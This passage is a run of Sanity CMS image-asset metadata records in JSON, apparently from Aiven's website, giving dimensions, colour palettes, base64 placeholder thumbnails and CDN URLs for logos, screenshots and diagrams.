(1).jpg","path":"images/sczeoy4w/production/6644cff4a7e429b9d814095807b0d8a3b6c51434-1200x630.jpg","sha1hash":"6644cff4a7e429b9d814095807b0d8a3b6c51434","size":925225,"uploadId":"JA1JwPzRonHptoj3HzkNimd4nHzCHqq0","url":"https://cdn.sanity.io/images/sczeoy4w/production/6644cff4a7e429b9d814095807b0d8a3b6c51434-1200x630.jpg"} {"_createdAt":"2022-06-30T11:56:58Z","_id":"image-6664a7450876fc38317a8d9d16f034edb449fd96-948x116-png","_rev":"CK1sLU2mnwa3vmbYWEcdyM","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:38Z","assetId":"6664a7450876fc38317a8d9d16f034edb449fd96","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"44S?ANYi^7_NIo","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":8.172413793103448,"height":116,"width":948},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAABJ0AAASdAHeZh94AAAARklEQVQImWXLQRLAIAgEQf//XJfACiKW5pZ01Ryn6RURa63MNDMAHQBEVe3giZwR5VFqJVrGGt5+s/ZL5CHp7mP4K+f8zBu4RXR7ZhnIQgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#791f30","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#681b2a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c0c0c0","foreground":"#000","population":1.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0c0c0","foreground":"#000","population":1.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8a8b4","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c8c8c","foreground":"#fff","population":0.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c93551","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6664a7450876fc38317a8d9d16f034edb449fd96-948x116.png","path":"images/sczeoy4w/production/6664a7450876fc38317a8d9d16f034edb449fd96-948x116.png","sha1hash":"6664a7450876fc38317a8d9d16f034edb449fd96","size":5938,"uploadId":"Dp4XsFM3dBFiGkWX9PPyZxwwqY90CzN1","url":"https://cdn.sanity.io/images/sczeoy4w/production/6664a7450876fc38317a8d9d16f034edb449fd96-948x116.png"} {"_createdAt":"2022-06-15T20:02:25Z","_id":"image-667f5863354d9bb14464b167f2efc2ba01c669e4-1567x844-png","_rev":"ecafYeJdFUSoqAVEkXNrSt","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:03:22Z","assetId":"667f5863354d9bb14464b167f2efc2ba01c669e4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVO:bA.T_3D%IUAeV?%MRjRj_2IAE1xts:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADWElEQVQokR3O708bdRzA8fsXNEbdjD72yWKGxkwfGjWOhcQYFxW2YMzQmcXBiNlSymRsbgwkLMtwAtNNKpsWjkkYbKwbtKMDxlpautIfd/1xP8q1d9/79g6updCxfj7GPXg/feXNCJLazCXka4nk6mgypYzwyQwrSCqrEotVcgYbDEVZ1z0PO3nb9byJybvsjPshyyVEltACq+nWiEqsUUILf+q00MKEVxJ/zC8EeO+cz5j1PtYfeBfpUiBCpQyhgpij47fu0NOnf6aNTcfoD0eb6PETNtrXf4UuLYWoJKs0EIzoy8tRQ1FIIk/XB5lQmB9eWAzmvXM+dHvmccY9hwuPgphIrWIytYrXbzixtrYOd1e9g7veqsJPqmvwfGcXPvb5MRKN49jYON65PYViWjBMmv+XEWXtn5SQJf8DcV6qxDgROE4CWcxBKiGDw3ED9lbXwEuvvAY7d74MH3+wB7o72mFu2gUe1xT8PjBQGR9lUY5H85amTDCEFp2EFnVCi0hoAYhuIVENpLKKQoRHx9XB51dvvL4D39v1Ajbsr8JLp5pw4mI39p9pwzabDdhfL+HqzJS5kY66GJ0WnTot6JQWkFIL8nQd8xpFU5ZRDgVxaKAfP91XjbvffBX37nkRD3/5NvbaDuPY8SN4pv4L/L7+AAy1HMWso8csh2ddDKVrzjw1dUM30NBpxSQ6mJoKlpoBJRaEkWt98F39V7Dvw/eh5qN3oeHrz2Ho4ll4dLkVLjcfhMZvauG67QBqfzWb26Gb9xmTEKepacTUVFzTcpV1TQGLKFAyNCByEtyTLFy5cA562n+E8y0N0HehDfyeccjMDsJwzzE4ceRgxdn+GdKb35oQdrgZS0oOGwJPdZFHczWFxZyAJU3ELSOLBZJBKeLH6PwURu7248pII/Kuc7iWcqMZn8RbV9vwl9ZDOP1bHRbdzevIj7qZIhfszUf8gWwsIFAhwm1keW5LTXBlInBlXeA2s3GuJC1zm/EJbsvXnSiHetOQcQkl4Z4Qcg0I0393pdP3O6TtcN8TFKeHmJIQrrNSoZ+M9JOzlhw5uanE7OVszP40F7dvqzH7s+yK/ZkSslcyvlYQPadQ9HSgsthZUfydW6mHnRu8p/Np+kEXSN52zCwe+g+muKcjjXdYogAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30324e","foreground":"#fff","population":0.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a1a0c","foreground":"#fff","population":0.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e0992c","foreground":"#000","population":4.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c39994","foreground":"#000","population":0.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6c591","foreground":"#000","population":1.36,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a8785","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0992c","foreground":"#000","population":4.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"667f5863354d9bb14464b167f2efc2ba01c669e4-1567x844.png","path":"images/sczeoy4w/production/667f5863354d9bb14464b167f2efc2ba01c669e4-1567x844.png","sha1hash":"667f5863354d9bb14464b167f2efc2ba01c669e4","size":642637,"uploadId":"xQxywv2796nRwUQ23ZFO4My7FvPwlSLy","url":"https://cdn.sanity.io/images/sczeoy4w/production/667f5863354d9bb14464b167f2efc2ba01c669e4-1567x844.png"} {"_createdAt":"2023-12-06T17:16:43Z","_id":"image-668193666af2531c52ffb99d408194468b511729-1992x939-png","_rev":"zHeFW2t7bUb3lAyGGtAGNn","_type":"sanity.imageAsset","_updatedAt":"2023-12-06T17:19:55Z","assetId":"668193666af2531c52ffb99d408194468b511729","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4Ss51~p00%Nae_4I9ogaKs:4.v}Ip%0aK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.121405750798722,"height":939,"width":1992},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMElEQVQokYWS7W7sIAxE8/6PWa36Z8kmfNlgyJ7KyVatWt1epKOACIM9w1JCID42ci6oKmbGGONkzsmcB8fxG7NBTJX7mli3SipGLsayPzbCPRDCyrbt1Fpprf2g03t/XeRiB60PUhbCI/OISq6DIoNlj5l13dm2SEqZUioi+kJe6Cnqgr1PRAaqA5FGzoJox8ZBt8lSq1KKH/hs1dv8zdXqk2GTJkaXhpZKSZkuyuEWmbmg4Lh3z+eTv4bvu6fWJ6Yd2SM5rOgemVUYVVi8pZ+C/v0XXqUzx7wq3CItF4Y2hiiLe+b0bmdbnwf/N/xfPT28PO+v4JaUCo5qw+zy6q8Kvyo9KEUIYSOsjzNQD+4MxVFPyvztfb01D+N7SNf8utDXMSZut3fe3m7c7+tZ1AeUC7/Kq/P/MQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#717373","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#750f1e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6c3d2","foreground":"#000","population":0.2,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9b1d4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6c3d2","foreground":"#000","population":0.2,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c747c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea5f74","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"668193666af2531c52ffb99d408194468b511729-1992x939.png","path":"images/sczeoy4w/production/668193666af2531c52ffb99d408194468b511729-1992x939.png","sha1hash":"668193666af2531c52ffb99d408194468b511729","size":356595,"uploadId":"8J9q6xy6nakysIOSLGzosyg4t7aFwBO7","url":"https://cdn.sanity.io/images/sczeoy4w/production/668193666af2531c52ffb99d408194468b511729-1992x939.png"} {"_createdAt":"2023-06-07T09:08:51Z","_id":"image-66b95274aa812b8e3cbf6cd7139dc4af7a775411-3194x1687-png","_rev":"rV9BZDYEBgQp95tIyV7TKh","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T09:08:51Z","assetId":"66b95274aa812b8e3cbf6cd7139dc4af7a775411","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.89330171902786,"height":1687,"width":3194},"exif":{"PixelXDimension":3194,"PixelYDimension":1687,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABjElEQVQokY2SW2vjMBCF/f//1UJgYR+6UEoS9mUpbWniWJZmNLo7PosmlxLowxo+6+IzZ0YjD+8vz/j7/At/njbY/vyB7WaD16ffOG53GHf7C/vruNt9rfff7w+BCeQMyE1gO4OthZBDYEYSQQkBNUZkEXjnIOyQr3slRtWRMaB5hhBhaEuDD6LkklFa1THlhFIrlmXBilXnxs6Y3AkhB9TWlBAjHBHYe8SUMNRa4ZzFNE1gz0gpIqWEnBNqKWp4Pp+RYsLh+Im3z1cYd0KMQXUxBIQQkHNGaw1DD/DewxgDR06FpRT0RK3VL8OUMJ6O+BjfMPOkibtJzln1epJ1xdBffYOZMdtuasHCkOCVEAWllruGvEUqEb1V3WS50pPeDXs1xKQVHMYDTtMIYw2sm0HstJqH4PUS/B3DrUKibjjiOB71+H3txWt/+veu+59n6OKUM1g8LFntoxfR2+vE/sv0PtWqJ1FaQ7tVfD4/MIzTBPIeJALrCU4uc8cMY60y33DuPrIIJCVIzg/8AyEhASPkfmGuAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#783536","foreground":"#fff","population":0.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#861a1b","foreground":"#fff","population":2.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#861a1b","foreground":"#fff","population":2.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3c6a3","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2d08d","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#85a06e","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cac3c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"spring-initializr.png","path":"images/sczeoy4w/production/66b95274aa812b8e3cbf6cd7139dc4af7a775411-3194x1687.png","sha1hash":"66b95274aa812b8e3cbf6cd7139dc4af7a775411","size":344563,"uploadId":"Z1gts8Z51T21FQyrCZAZIR8b0dLnfuJQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/66b95274aa812b8e3cbf6cd7139dc4af7a775411-3194x1687.png"} {"_createdAt":"2022-06-16T22:53:51Z","_id":"image-66ee405bcbb03c84370ef1eec60a742f63a30bea-595x148-svg","_rev":"0HOthdQkSgJdYc0C9vxVuo","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:51Z","assetId":"66ee405bcbb03c84370ef1eec60a742f63a30bea","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D}Hb74|^=Js,OBaha#jbjbfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.02027027027027,"height":148,"width":595},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMklEQVQYlS2Py0pCcRyED60MSzIijJAgtLSL39+7GF4QpfKWctLEokV2QSSMsE0GFUEbe4DoAVoVBFGLNu2jXun8WngWHwwzDMxokkvNyFphR6KVGwnrfSOk5yWs2zWvpsWUf1Sh7IATiAJLwBhgAcaBScBmMgVMaNJYKEsxci2ZzJMRLz4akWpPwnrgJ5i3+mBeoUoKthlSBlImVWAPqAAloAHUNGk5BtJ0fUnF/yfZ1K+R2HyT2Nbud2h91gcJpdSVgnvgDDgBusAFcAcMgL6ZnQO3mpxaH+Ro+lWarg8pBz+NXPJZ0rnmSyTtXIWsUupSDUv75sID4BA4BnqmrgM60NHkYqQtXUtbWo6K1JbrRjnQkUI09Z6M2Tw+3H6lNoAMsALMAR7ADSya1+OA1/T8/3DUdnn9LxEiAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6a3d44","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#731011","foreground":"#fff","population":0.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f74147","foreground":"#fff","population":1.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#92060a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f74147","foreground":"#fff","population":1.68,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a98155","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f15c0b","foreground":"#fff","population":1.11,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"aiven-logo_RGB.svg","path":"images/sczeoy4w/production/66ee405bcbb03c84370ef1eec60a742f63a30bea-595x148.svg","sha1hash":"66ee405bcbb03c84370ef1eec60a742f63a30bea","size":8316,"uploadId":"1MkjEhVfYUmTwz8dXdJ5tbOcWcvurza7","url":"https://cdn.sanity.io/images/sczeoy4w/production/66ee405bcbb03c84370ef1eec60a742f63a30bea-595x148.svg"} {"_createdAt":"2022-06-16T22:54:06Z","_id":"image-6754a468a1945732954a16e706f8c62676d8047e-272x110-png","_rev":"qkpX9b3U0TpOGFQp8fO2Vb","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:06Z","assetId":"6754a468a1945732954a16e706f8c62676d8047e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D05h=L.800D*$$yEayWBj[WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4727272727272727,"height":110,"width":272},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsSAAALEgHS3X78AAABK0lEQVQokZVS2U7CQBTtEy5QqYgSjZAoQjeLpHQBukmtpJSCQGKBuDyoD/z/DxzTURYJbg9n7pK55865d6it8xo2IXEmE/yWT3zGc1DridWC7/I/NaTiY6eoIMXqSHMN7HENMHwTGdHEgWTh6Mohdl80kJVsZCULjGCQmBGapIZmdcKxIKTZOk5kFxdGAM7pQ3QHqHgjyH4E9/4F5vAZajCBMXhCzY/A2iGE1h3KVoiC1kaueo1UWf9KeCy3UDK7kLwRlGCCWmcMrTuF/zBD53EGN3qFN36DFk7BO31IN0Nwdg959RaHFRvJkrYk3C4qSJY1pPkGkRd3jKXGyKseCnqb2FPFQ67qIHP5MY5YNs3VsVtSlzP80+BXljT3Y7u+vMUL//M1Nm1/9d47iS3pnhIOpREAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#384a58","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042434","foreground":"#fff","population":77.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042434","foreground":"#fff","population":77.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1b9cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4d4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#77838e","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#12a3ec","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-pale-blue-dot.png","path":"images/sczeoy4w/production/6754a468a1945732954a16e706f8c62676d8047e-272x110.png","sha1hash":"6754a468a1945732954a16e706f8c62676d8047e","size":1704,"uploadId":"s1JZZZoX9EimGFS9FJ0ojF0AYAs57g9R","url":"https://cdn.sanity.io/images/sczeoy4w/production/6754a468a1945732954a16e706f8c62676d8047e-272x110.png"} {"_createdAt":"2022-09-01T15:22:22Z","_id":"image-6789333c4338f9579520e4496b049721d73ab24e-1200x630-jpg","_rev":"xg85uGn4EJK0In0bVhLWm5","_type":"sanity.imageAsset","_updatedAt":"2022-09-01T15:22:22Z","assetId":"6789333c4338f9579520e4496b049721d73ab24e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOQ+yquPt7Md%zKlRkkVxDR.xtMde;xuRl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQDBQYI/8QAIxAAAgICAAYDAQAAAAAAAAAAAQIDBAARBRIUIUFRBhMxkf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAHBEAAgICAwAAAAAAAAAAAAAAAAECAxETEjFR/9oADAMBAAIRAxEAPwDoSSk7SM3VzgMd8oPYZQ/JLd3hs1WOCw30SNuSRiNgehmgjGrLnv8A3E+N0Kt7purhWUJIGXm8HAst5LDKqoKEssko3JJa4bTOPwN7HvDHI0WNAiAKoGgB4wyfbYumJqh4f//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394559","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#803003","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8620e","foreground":"#fff","population":1.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#debfc5","foreground":"#000","population":0.77,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4c191","foreground":"#000","population":0.53,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#846cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8620e","foreground":"#fff","population":1.23,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_for_IoT_meta_preview.jpeg","path":"images/sczeoy4w/production/6789333c4338f9579520e4496b049721d73ab24e-1200x630.jpg","sha1hash":"6789333c4338f9579520e4496b049721d73ab24e","size":197855,"uploadId":"pIaI2MWHZNGV5fAoFUlT5jHy7quczAk8","url":"https://cdn.sanity.io/images/sczeoy4w/production/6789333c4338f9579520e4496b049721d73ab24e-1200x630.jpg"} {"_createdAt":"2022-09-16T13:50:51Z","_id":"image-678d09b912a3a5ea7b1a6cfea42a13906ed4aed3-1875x1979-jpg","_rev":"StyfnzRSyhTCbsBlPP1P2A","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T13:50:51Z","assetId":"678d09b912a3a5ea7b1a6cfea42a13906ed4aed3","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9474482061647297,"height":1979,"width":1875},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAVABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAMI/8QAIBAAAgICAgIDAAAAAAAAAAAAAAECEQMxEiEEEyNBUf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/8QAGBEBAQADAAAAAAAAAAAAAAAAAAERIUH/2gAMAwEAAhEDEQA/ANUX2R8dZE8nsyKdyuNLSKyfG20SxXBvk2+TtdaJjqy6XWgFoFRKHyWpfX4VSpUgAAAA/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#752357","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8d2a69","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8770a","foreground":"#fff","population":0.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0bca8","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc5c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#775a85","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8770a","foreground":"#fff","population":0.35,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"diagram-customer-kafka-service-integration.jpeg","path":"images/sczeoy4w/production/678d09b912a3a5ea7b1a6cfea42a13906ed4aed3-1875x1979.jpg","sha1hash":"678d09b912a3a5ea7b1a6cfea42a13906ed4aed3","size":53732,"uploadId":"6tPBQvHXoHPJzxI40CVJbHQzkbNDFuXv","url":"https://cdn.sanity.io/images/sczeoy4w/production/678d09b912a3a5ea7b1a6cfea42a13906ed4aed3-1875x1979.jpg"} {"_createdAt":"2023-10-30T06:53:08Z","_id":"image-67a28439745574cdc2e35f401cd209a105a5eb15-219x35-svg","_rev":"K4OjmPZwqkJMmxhvod8yXX","_type":"sanity.imageAsset","_updatedAt":"2023-10-30T06:53:08Z","assetId":"67a28439745574cdc2e35f401cd209a105a5eb15","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4OR3f-~V$y5A=^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.257142857142857,"height":35,"width":219},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAw0lEQVQImU2MvUqCYQCFvYvuob0S/MFwkZBwC29AJOID+3NwEIQIIhrE1SBwtKmhxeso+nRpaSgIhSIS3ueJFxQaDpznHM7JqDW1oObV3D+/GxnIAltAzIvDp89C+X52cDR5rXx8/e6o2wFKalndzKjXQEONaqqHaqIeA5FPgLbSWgaS0cv8fG+cXrUeZ523xU879gEaQH19eBfH6pnaUbvq5Uqnag/oR14sw8XweT7YH09vk4e0P33/vol5gCZQVTf+ACTwwV8YQkA5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#045484","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#41aadc","foreground":"#fff","population":3.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4acb4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#41aadc","foreground":"#fff","population":3.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4f88a2","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a9cd8","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"ess_logo.svg","path":"images/sczeoy4w/production/67a28439745574cdc2e35f401cd209a105a5eb15-219x35.svg","sha1hash":"67a28439745574cdc2e35f401cd209a105a5eb15","size":3823,"uploadId":"YcE5xLdMb7MQKcWJKV5bBmMxILU5OtL0","url":"https://cdn.sanity.io/images/sczeoy4w/production/67a28439745574cdc2e35f401cd209a105a5eb15-219x35.svg"} {"_createdAt":"2022-09-30T20:40:15Z","_id":"image-67a93efff22c31f3398dfda6484a11e49b2505f6-1600x1137-png","_rev":"vDQRRYe9nRreptIRp6FYzV","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T20:40:15Z","assetId":"67a93efff22c31f3398dfda6484a11e49b2505f6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VaOf+9AHDitS8_.Tw^%MbwM{00V@%#-9OXpIV@r=I;Mx","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4072119613016711,"height":1137,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEIElEQVQ4jT2Ra0yTZxTH3wWCVlyWzcWoZG4fHWDGthi2MJzJInGA0ikufuBO5SLQbtycgBuMAcFCIYqjXBKEjQ2DmdsywC0iLKghyFjAtZV7aRGKfYH37Xt/nz7nWdpdTvLPOZ9++Z1zKMajPjc773hxfGI6fOT38ejh0YfH7t57cPSHH4ciKj7/6sDefSHPUxQVvGv3C8ERbx0JfvRoMsztdpdubzPf8jzfhxDqwxgbEULRoigGUtseJbito+dwSsaFrA8/Sm44rk27elyb3vx+bFLDG1EnKw+GHS0NOfRe0aEjJ4qiTiQVXa69ZpyatjygadrFcRyNEKIxxvcRQh/zHjaIcm+J+2rqGmOT03J6swrK7Pqyhg1DRZNLX25yFZQ1ruWXNTr15SZHUVWLo6K+02H+5mfX1MysRNObhOM4oqoqwRhbEPKm8DwfRG24udeMDc2JNTX1Q78M/CZPzcyRPx7PkYk/bWRy+gmZti6Sv57YiWXOQawLTrJgXydrLjfQ9CZmGAZLkgRIkS0qv50uLk/upFzPPAdNTdfOmM1tg1arVZRlhQiCiJltBjgPB0hRASsIkKwCQggUVQWWZYGmaWAYBkRBIMr22qpqHaz0mo8doNY32D01tfXxra3mAYvFKsmSTERBApZhgfN4QBYlUHgJRJYHURBBFCVgGBa2traA4ziQZZmoaxYJ/Vo5AF/ujaXsDveOAv0n0S0t129brTZRkRWiSBIIHAcCz4MiyX5LX1RVBUVRgGU9sLn5D1BVEXifThN8O28BLu+uobJyL1KxsXERTc3N31mtNsEHlEUBBI8HJEH0QzDG8G8R39oejw+4+Z8hSIsPidqb9AzKd/ZRhBAqKioq3GQy9dhsNkFVFCJLot9QFAS/kdfr/R/qm32P4Hne3+mNNVi6c51sNkS64VJgP7W+vkFFRkaGmpqaumdnZ3mv10uQomKfne9+SFEAI+QjAfEpEiCAMWDsBS/G4Fy0wfjX2WSleM8SKaWM1M2btwJjYmLerK6u7h0bGxPtdjtZXlwiC/PzZGlhwT+vLC8Th32FOBxOcDhXweF0gtPphBXnKkzcHyZDteeQVf/SqHpJc47q6urer9Od/yAvL6/daGx43NnZOd/R0THX3tbuT0db2/yNtpanfWaj2N9aS/wx15Fb5jrS31pHuq+Uem8Uxa0MF0ZcnbkS